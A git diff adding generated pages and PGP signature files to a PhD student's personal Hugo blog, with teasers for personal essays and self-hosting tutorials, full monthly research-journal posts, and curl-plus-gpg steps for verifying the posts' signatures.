    This constant feeling of how people think about me, how they view me, what is happening with them is killing me. I’m interpretting every little move, every action, every response as me being in trouble. Not only is it exhausting, but also it’s draining me. Draining me of happiness, being in pursuit of happyness. +Idk what is wrong with me. Idk why I can’t let go. I don’t know why I need so much closure. Idk. I really don’t. What I know is that I’m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved. +...

    December 15, 2025 · 2 min · Iman Alipour +

    Setting Boundries

    I was watching this video the other day. It’s an interesting video imo. This is something I’ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me? +Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other’s respect. Naturally that evolved into me becoming a people please. A so called “nice person”. I’ve even been made fun of with those words. +...

    December 4, 2025 · 3 min · Iman Alipour +

    November '25

    4th Again, let’s setup some goals for the month. +Literature review Keeping up with my coursework Working on my codebase Getting healthier diet and excercise-wise 30th I did a bit of literature review, it’s still lacking unfortunately. +Coursework is ok-ish. I’ve been trying to work on assignements and understand them. +I rewrote the whole codebase, now we have a modularized design that should be easier to add to. +I’ve been eating more and more healthy, excercise is still lacking. I’ll get to that later. +...

    November 30, 2025 · 1 min · Iman Alipour +

    I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)

    The Day My Wi-Fi Said “Eight Is Enough” My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own. +...

    November 23, 2025 · 18 min · Iman Alipour +

    The Loop of Doom

    It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn’t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I’ve been feeling more down, sad, exhausted. I’ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I’m not doing anything. I get the feeling of worthlessness a lot lately. It’s exhausting. +...

    November 7, 2025 · 8 min · Iman Alipour +

    Cupid is so dumb

    The lyrics are being played in my brain day and night. +“A hopeless romantic all my life” +“Surrounded by couples all the time” +“I guess I should take it as a sign” +But… “I gave a second chance to Cupid” +“But now I’m left here feelin’ stupid” +I might’ve given more than two chances to cupid. +But I’m still left here felling’ stupid. +“I look for his arrows every day” +...

    November 4, 2025 · 3 min · Iman Alipour +

    October '25

    1st Ok, let’s start the month by declareing some goals and agendas. +What do I want to do this month? +Finish previous semester. Pick the last of the course work for my prep phase. Finalize the CoNEXT student workshop paper. Finish my second RIL. Start my 3rd and last RIL. Learn more Go to become more comfortable with it, but how do I set this as a measureable goal? More literature review, persumabely all of FOCI related papers this month. Work on my codebase: Do code cleaning Add comments for code Start working on ICMP stuff More socializing! :-) A fun pet project? Maybe with Go? Maybe with 3d printer? Idk. Enhance your routines and add exercise to it please! Alright. Now that the goals are set, let’s start the month strong! My last exam for pervious semester will be on October 7th. I have done 74 ECTS, another 6 will be my last RIL. If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. I then just need to do my QE for which I should submit my first paper for which I’m doing work! +...

    October 31, 2025 · 8 min · Iman Alipour +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    October 30, 2025 · 10 min · Iman Alipour +

    La Plaza: The Falcones & the Morettis

    Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.

    October 25, 2025 · 13 min · Iman Alipour +

    Sadness

    Honestly, I don’t know why I’m doing any of this. I really don’t. I think for me this is a scape from reality. A scape from the sad thing that happened earlier this month. A scape from feeling used, or let’s say abused if you will, and then thrown away. Just like a piece of trash. It’s been hurting more and more. I’ve been lying to myself that I don’t care. That I’ve moved on. +...

    October 24, 2025 · 4 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/page/3/index.html b/public-clearnet/page/3/index.html new file mode 100644 index 0000000..36c71b9 --- /dev/null +++ b/public-clearnet/page/3/index.html @@ -0,0 +1,37 @@ +AlipourIm journeys +

    New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. +I’ve been wanting to add comment section to my blog for a while. There are a few problems. +I don’t want to get attacked by bots or random people for no reason. I don’t want to allow weird things to happen. I don’t want to have a database for it. So… I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github: +...

    October 23, 2025 · 15 min · Iman Alipour +

    Danya

    Daniel Naroditsky has passed away. I’ve never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus. I like Fabi a lot, but my all-time favorite is Hikaru. Danya was my favorite commentator. Someone who was so fun to watch explaining complex positions. I think he was indeed, if not the best, one of the best at it. +The occasion is grim. However, let’s remember the immense pressure he was under. Let’s remember how he was accused of cheating by Kramnik many, many times. By a former world champion. Someone who has accused many and has ruined their lives for no reason. The likes of Hikaru! +...

    October 21, 2025 · 2 min · Iman Alipour +

    Skin routine

    I don’t know how to answer the “why?” or “whyyyyy?” or even “why the f***?” I have a skin routine. Last year, after I came to Germany, I asked a female friend about how to do skin care. She touched my face and said, “Knock on wood, you have good skin!”. So… idk why I decided to take extra care of my skin, but I did! +Generally speaking, things like this make me feel good about myself. Like I’m doing something positive while not being tortured! It’s always fun to rub cream on your face or gently massage it. Even cleaning the face skin feels refreshing. Everything also smells nice! +...

    October 20, 2025 · 4 min · Iman Alipour +

    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)

    I tried to add a simple ‘views’ counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.

    October 18, 2025 · 9 min · Iman Alipour +
    Six looks of the INET LED logo

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    October 17, 2025 · 17 min · Iman Alipour +

    Movie review: Scent of a Woman

    I’m not a big movie watcher. In fact, I don’t remember the last time I watched a whole movie in a single day. It’s not that I don’t enjoy it, it’s that I want to do this with at least another person. It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched Scent of a Woman on Sunday, and after my therapist encouraged me to do so. +...

    October 13, 2025 · 5 min · Iman Alipour +

    Hobbies

    When I started my PhD, I was told “get yourself a hobby!” many many times by both my advisor, and the director of the group I worked in. In fact, when being interviewed for the position, I was asked about my hobbies. +For some reason I think I have like the weirdest hobbies of all time. Like, you know, people binge series, go to clubs, bars, hang out, and so on. But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards. +...

    October 10, 2025 · 12 min · Iman Alipour +

    Relationships

    Notice: You’ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone. +So… do you also think you’re a lover boy, kind, nice person? So do I! I think I’m actually really good at making friends with people. Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things. +...

    October 5, 2025 · 11 min · Iman Alipour +

    September '25

    I started the month by finalizing my draft for Conext Student workshop. Let’s cross our fingers and hope things work out and that it gets accepted. Notification should arrive on 25th, and I’d have until 30th to do the camera ready stuff which should be plenty of time. +I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. I visited my parents after 13 months(!), and also my brother after more than two years. We had so much fun! I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. What a delightful trip it was. I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. Now that my brother also has his greencard, we can travel together and see eachother more often too! +...

    September 30, 2025 · 3 min · Iman Alipour +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    September 29, 2025 · 3 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/page/4/index.html b/public-clearnet/page/4/index.html new file mode 100644 index 0000000..56817d5 --- /dev/null +++ b/public-clearnet/page/4/index.html @@ -0,0 +1,30 @@ +AlipourIm journeys +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    September 19, 2025 · 6 min · Iman Alipour +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +

    Augest '25

    This month started with me setting up a deadline for Conext student workshop. I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. This darn thing wasted so much of my time! I did learn a bit along the way, but oh well. Such is life! +...

    August 31, 2025 · 2 min · Iman Alipour +
    HedgeDoc collaborative editing

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    August 29, 2025 · 2 min · Iman Alipour +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 8 min · Iman Alipour +

    Hello World

    This is a test hello world post just to make sure everything works! +Downloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY+8puTLs6Na2t7 SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX+uFYE B3ioZqc4wJyDFaGWO+ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX+odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc 62eMm1khV99Gljg+XbAG6A0KI7nO5TS464/JkU1+d/inWjXmSkocTep9p1H/M+nt 7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE+AcGR7cb9CxicTuzs8K+kLzQBQSep oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B+5rhDP4uT 6Q1OmbB4xs7jM+WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo= =kuAP -----END PGP SIGNATURE----- Verify locally: +curl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md curl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md.asc gpg --verify hello-world.md.asc hello-world.md

    August 25, 2025 · 1 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/phd_journey/Augest_2025.asc b/public-clearnet/phd_journey/Augest_2025.asc new file mode 100644 index 0000000..b8745fc --- /dev/null +++ b/public-clearnet/phd_journey/Augest_2025.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBEYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qtEAP/jJPsM/ZN7fn/qwccVyJR8iJ +kd3+ynK8KRAG9L64cQWg/Gt6cEGuhynz1eyDsQ5K9HCwxFXBYq4klilebhFFC5BI +09s079JRn0HVUgC9hbhnE3SXnS72Dpnm2ibdwN2Il/qR6xCZvEGSozJzXf+ElrdR +DxAR1xi550+tciYBRNA1LppTpJ8oq470ACN7ttOuUO8LLlZXtmRZxazTE3jwC2kT +Ld969kfFAmlOa5pV6VhMehehvm5V4420J0DQAzU20gfiP4uovcW2ngeIn2zjNmd+ +R+rr2MsjgTWtkwybCeOcZLdSx7rwVKJ3plLd8/Ep7yWpae6YsOtsK5fc0FwSJepR +SuDz1Lx4achDQt56JP5KT7lk8KNFV+ALdGvFbMBETqKqejUeLnBSD8+zXdfB24PB +5sojXKVD/sJjYRnYYxsxS+kSK05UNynEfMLg8uJjVueOznrS+WX8jB4MzA4r53Iy +PUtEcgexjalfwcWCjBL+M+W/ZaGGNkW4b6yZpyj40tgvknu/uK/B84YzqAj/xgpC +9Orzo9F7AUZbJs2IjDkWewxw9j+1ZlamzJ3bC7Go2zvS2crEJo/AA8VXF5N4kNII +5i3r2kam8ribVRePRfZ4ffY6UhAfreXiwNZaywU5oix5Ldr233UFrM82TbHCHHwJ +T8htRg70csvp345a7ICN +=LfUT +-----END PGP SIGNATURE----- diff --git a/public-clearnet/phd_journey/October_2025.asc b/public-clearnet/phd_journey/October_2025.asc new file mode 100644 index 0000000..cc74695 --- /dev/null +++ b/public-clearnet/phd_journey/October_2025.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBEYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qP5YQALFeatlfbAjyCorvxaH8dGGR +0BE67tNRQeu74kZ5Qo9WCxKnvKvW7Hd8iTI7h4GYe0BcQ8GAYXF55gFS1McDJ6UF +RPkDNxCTccmWbPtZWkDNJpoCMp4SIbIeb232NoLJG/YA5TK/+Nq1eRxNmOxGT2/u +b39BkAcqruBwCEESYCq+PwGnm4FGAPnlK/nbx0vslmJJ5/KcPiBGUgO9tJWgZBqR +43mexDQfayVS3IM7LunLQUsmAbqXJ/zRAtnZYpWyU3eEAt7oUyslMzNIpzp3nrRf +4B58/qTuvBte0+I98b4/SEP1YP/r6tIfPeHBV/grcyP/n4F+iSFYqIf3tnHWm063 +8S6xgc6OlnH89y0VDxyuDiNE/BqZkSDYoGjLhBHdx+yuuouVhS8aFmhgH3VwChUW +U9/3Wz/Zis0lZEck8vdkDEQ8s01THB20LBRjmfz0U187pAsz30sjs27erOcmLbjW +1oZdzvoTT8I/kJV5RVgcvtK63sU2bBe/jcfS20c4W8fwN2MIp+s/3U2HiIYU1gSh +pQi6tos80dgaVxVxeSIoQ+DAX6lowBGGl2VHPAzD9UuPs7vvGVIKyQMbZNj5BQpM +wblk6hLv1zwt3XQZTBl26nbc+2GlxmHjv93h7XNOgixoif7nfKvsMCeAe7G3vz40 +qK/LRsLVGdwAMhytShnh +=VoSE +-----END PGP SIGNATURE----- diff --git a/public-clearnet/phd_journey/September_2025.asc b/public-clearnet/phd_journey/September_2025.asc new file mode 100644 index 0000000..9208c09 --- /dev/null +++ b/public-clearnet/phd_journey/September_2025.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBIYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qumYP/3zdbQK9g/VrkXPAQTJB2xhh +ciE9JUIHwfDZ0tHbZKLBjfGHuV3lTSlPIuBc/hueGB9eUFKyXfGjZ7ULvgbL7hR3 +q2jbg71N0GKtI2qooY2P24fxTD4LeZTkIvldcguGdlqTz0q/n/GUITHPYLzc+Lon +K+zkybPeJFUIakFhhSp+WEK+My7A4SZZR7lv3IC0lmeF1MqQiEjQUnifYq4VeOhx +1x8ht4H/hru1HLkZ3G5oQ9fpZ2Xp8cDQZGrRnL/J+SxskyMgszixJTXlbATydIe5 +B4VF3bHuwrBZovcwq+A+RJ0EvtYLBIw99fG6u/3w7emMj2FMr9MWziMJ3bfSVylp +0IMaLkyDCbGh439QkzDbxa9/x+nN9VmcfUzwgL40OfYEFw+8irgnE5m2pHZ4TBKS +Qefvq3YnLmOxRKquf2auL360mUJ9EvM6d7FEzZHxamPTYTKd0VHEodZAPgb8D+yE +Q/GkIROqgSfTWToE67LyHcTrnSm63Q8ovDL3azia6KS8btIwakFisbOfkcihe57K +rktW+JPG++BFDznGs7WzwIjTtDV47TyijxHj3545Vy7sB3O1AawWXTQyorLUVMly +ep2dajvhW5LypB54x8LLM8fUWGOPS+vSL9b8C0cFm4FDiUrGGH8lE6EYBzNJFDUF +m6kVSUHkw4wiQ4x6wyJ5 +=vltM +-----END PGP SIGNATURE----- diff --git a/public-clearnet/phd_journey/april_2026/index.html b/public-clearnet/phd_journey/april_2026/index.html new file mode 100644 index 0000000..458bd99 --- /dev/null +++ b/public-clearnet/phd_journey/april_2026/index.html @@ -0,0 +1,35 @@ +April '26 | AlipourIm journeys +

    April '26

    I know, I know. I’ve been lacking updates. I’m so so sorry. I will try to summerize what I’ve been up tp in the past few months.

    Up until the middle of March, I’ve been taking care of the last bits of coursework I had to do during my prep phase. And now I’m done with that all together.

    I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn’t know much about. Though no mail server for me unfortunately.

    I was then approached by a colleague who’s research needed a bit of push to get to the IMC deadline, and we pushed “HARD”. We submitted the paper with so much chaos I would say. But we did it.

    Now I wonder, both my research projects that I’ve been working on feel like there are more advanced than what we submitted, then we am I not drafting papers for them?! I will talk to my advisor about this. :)

    I also kinda started a new project, or at least we have floated the idea of, which sounds exciting. I would be working with one of my favorite group members. A true nerd! :)

    I will try to be more consistant throughout May by providing updates. Please cross your fingers for me! :D


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
    +jSo5RA/6AuVU66S+Io6igMjGYrllC4bO4bWusSWwCUdbnqe7j1cewMBJwciI1O9y
    +fCQGlzP//JW3MKhAfI6uJRKNlTCIpDjMmRiivu7nmZRJKCsomOmdmThNwddaJIQ/
    +vnaalb9NgZB7xp6WtU/FUUuXEls6S8l0A+RNCQvo33+U+JiH5YbFUbXQkbjggTcP
    +GGrA8JYXBQvIdHN6xAvGbLhuYnyc9KNayUOdp3FK6ecMzIhT1pZ/O/pE2J+kKRif
    +vQyuWINpZZWxSV8+UMSmuwqBDvdVthWGezxS3/Kr3V/Y3OPJkfsv121hQkoyGhmM
    +1CXfwtD6I9aUHiuQfC5PW/zKYyujhoQ8RDPjK6IQ5jcjSeAE16h0O9MYFtbbrJqq
    +AhP8p+XIL9J0xuwLqsN1wHhnd1COo/fpa0q8P5YsFi+F+sQmIX1waNiM2Bc69ZBh
    +S+DcTUF4MsSSWFFfrts7BuXZQDFWqfEavqvSPQ3BRl/6QHZXmWtKGMb6o+GZSxRI
    +hTTy7SSjCVR5TwCIcTExOe6NxbSJhR/7RwPwbvfoLS3Tji7WmDOD6qeFZY9G8Tyw
    +vr9LIXqyrjKcltjpj6UEtjy3+sXYPxw2XL0bdjlzdgg4afI7gJ9+b2QjHKYYYy8H
    +DjdPpaWlQvkGOBkfM+11Cwn5Q7U5+VdY+Qil0Qc/g2Ksl77/nvQ=
    +=Wtha
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/PhD_journey/April_2026.md
    +curl -fSLO https://blog.alipour.eu/sources/PhD_journey/April_2026.md.asc
    +gpg --verify April_2026.md.asc April_2026.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/phd_journey/augest_2025/index.html b/public-clearnet/phd_journey/augest_2025/index.html new file mode 100644 index 0000000..d64b705 --- /dev/null +++ b/public-clearnet/phd_journey/augest_2025/index.html @@ -0,0 +1,52 @@ +Augest '25 | AlipourIm journeys +

    Augest '25

    This month started with me setting up a deadline for Conext student workshop. +I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. +I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. +This darn thing wasted so much of my time! +I did learn a bit along the way, but oh well. +Such is life!

    Overall not the most productive month, but one reason for it is that I have’t really had a real vacation in a long time. +I will be taking a 10 day vacation next month just to reset, and gain back my power. +I cross my fingers for the month ahead!

    My social life has been becoming better too. +I’ve been trying to attend more ZiS events to meet people, make new connections, and to have fun! +My depression is a serious issue. +I also have anxiety disorder that I’m talking with my therapist about. +I will most likely start taking SSRIs once again. +Idiot me was cutting it when the catasrophe in February happened and did not think twice to keep taking them. +I’m really glad I was able to recover, though it was not easy at all, it did work out.

    I do think there is bright nice future ahead of me; I just need to keep on trucking and not worry too much. +Things will workout!


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM
    +jSqiRBAAv6TLJK+7ycaudx3U1GGOdsihVMLEG/AXcj9fJFIWKouz0AXU3xEJl8Ks
    +lyF1tiik69ZuDqToAj9buwiIG+fll/nLElWP+DVSpDrHh86tEtQFlf9inf8DYXGK
    +3GUhTLyAleNRxSNVe7ZG7SpIN9gk/WYRxbhHQAIVPSWKH+IMTNJuWUtIBXbSEy1K
    +SYcl4coVXJwDOPLj+huKrBQoScmUSPYow5KELzQOOLK+HG6M9vXSq3+hDUiWx4MT
    +OaEFEU47rit9lEsUzjKNh56WthwBf3sWdLPgCxFfZY6L8Pk7GmOJC/XPB/31RBX1
    +VFNy+IqbYPUlafphpT9SuhyLktqKNL9BnK9700dz6w3xI46B8v8d8kmVyoGhzTyi
    +rEt3baTm874Jo4PSZjToL7+6VpbvlzFz57G/1WmmX1jSr++L7Cncyz2Oo6H+Bpw9
    +Ax2JFZz760sxs978Y2fno5o5rkVKEt+GgLA+WkSb0NCq/r67wEhMR5/i4oBTOHmC
    +OWbsxUDTTE7JhPn95LUUb7oji2IxMdLC6RlPPNb+VYlhFbju0IhhArZYqc4vuieC
    +5CQIbWuYoPIpvf0XCQHHABJF+zzq6AzJhnIbgGg58sZ/yrYFM8cI6GVxsOy92ADT
    +eCzo4ktTpt4YHhw/Fj/eRzzvJzRrtP3+AtIvQjDwKigco7f3wgY=
    +=vvS6
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/PhD_journey/Augest_2025.md
    +curl -fSLO https://blog.alipour.eu/sources/PhD_journey/Augest_2025.md.asc
    +gpg --verify Augest_2025.md.asc Augest_2025.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/phd_journey/index.html b/public-clearnet/phd_journey/index.html new file mode 100644 index 0000000..89f285c --- /dev/null +++ b/public-clearnet/phd_journey/index.html @@ -0,0 +1,31 @@ +PhD_journeys | AlipourIm journeys +

    June 2026

    Ok, it’s been so so so long! I haven’t been writing, once again, because I’ve been too busy with fixing my life. Let me summerize these past many months: +I finished my coursework for my prep phase I was added to a colleagues project and we submited it to IMC I submitted a poster to TMA, and I will be present it at the end of this month (June) I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust. I am a tutor at data networks, and I think I’m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students. Downloads: Markdown · Signature (.asc) ...

    June 23, 2026 · 1 min · Iman Alipour +

    April '26

    I know, I know. I’ve been lacking updates. I’m so so sorry. I will try to summerize what I’ve been up tp in the past few months. +Up until the middle of March, I’ve been taking care of the last bits of coursework I had to do during my prep phase. And now I’m done with that all together. +I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn’t know much about. Though no mail server for me unfortunately. +...

    May 3, 2026 · 2 min · Iman Alipour +

    November '25

    4th Again, let’s setup some goals for the month. +Literature review Keeping up with my coursework Working on my codebase Getting healthier diet and excercise-wise 30th I did a bit of literature review, it’s still lacking unfortunately. +Coursework is ok-ish. I’ve been trying to work on assignements and understand them. +I rewrote the whole codebase, now we have a modularized design that should be easier to add to. +I’ve been eating more and more healthy, excercise is still lacking. I’ll get to that later. +...

    November 30, 2025 · 1 min · Iman Alipour +

    October '25

    1st Ok, let’s start the month by declareing some goals and agendas. +What do I want to do this month? +Finish previous semester. Pick the last of the course work for my prep phase. Finalize the CoNEXT student workshop paper. Finish my second RIL. Start my 3rd and last RIL. Learn more Go to become more comfortable with it, but how do I set this as a measureable goal? More literature review, persumabely all of FOCI related papers this month. Work on my codebase: Do code cleaning Add comments for code Start working on ICMP stuff More socializing! :-) A fun pet project? Maybe with Go? Maybe with 3d printer? Idk. Enhance your routines and add exercise to it please! Alright. Now that the goals are set, let’s start the month strong! My last exam for pervious semester will be on October 7th. I have done 74 ECTS, another 6 will be my last RIL. If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. I then just need to do my QE for which I should submit my first paper for which I’m doing work! +...

    October 31, 2025 · 8 min · Iman Alipour +

    September '25

    I started the month by finalizing my draft for Conext Student workshop. Let’s cross our fingers and hope things work out and that it gets accepted. Notification should arrive on 25th, and I’d have until 30th to do the camera ready stuff which should be plenty of time. +I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. I visited my parents after 13 months(!), and also my brother after more than two years. We had so much fun! I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. What a delightful trip it was. I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. Now that my brother also has his greencard, we can travel together and see eachother more often too! +...

    September 30, 2025 · 3 min · Iman Alipour +

    Augest '25

    This month started with me setting up a deadline for Conext student workshop. I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. This darn thing wasted so much of my time! I did learn a bit along the way, but oh well. Such is life! +...

    August 31, 2025 · 2 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
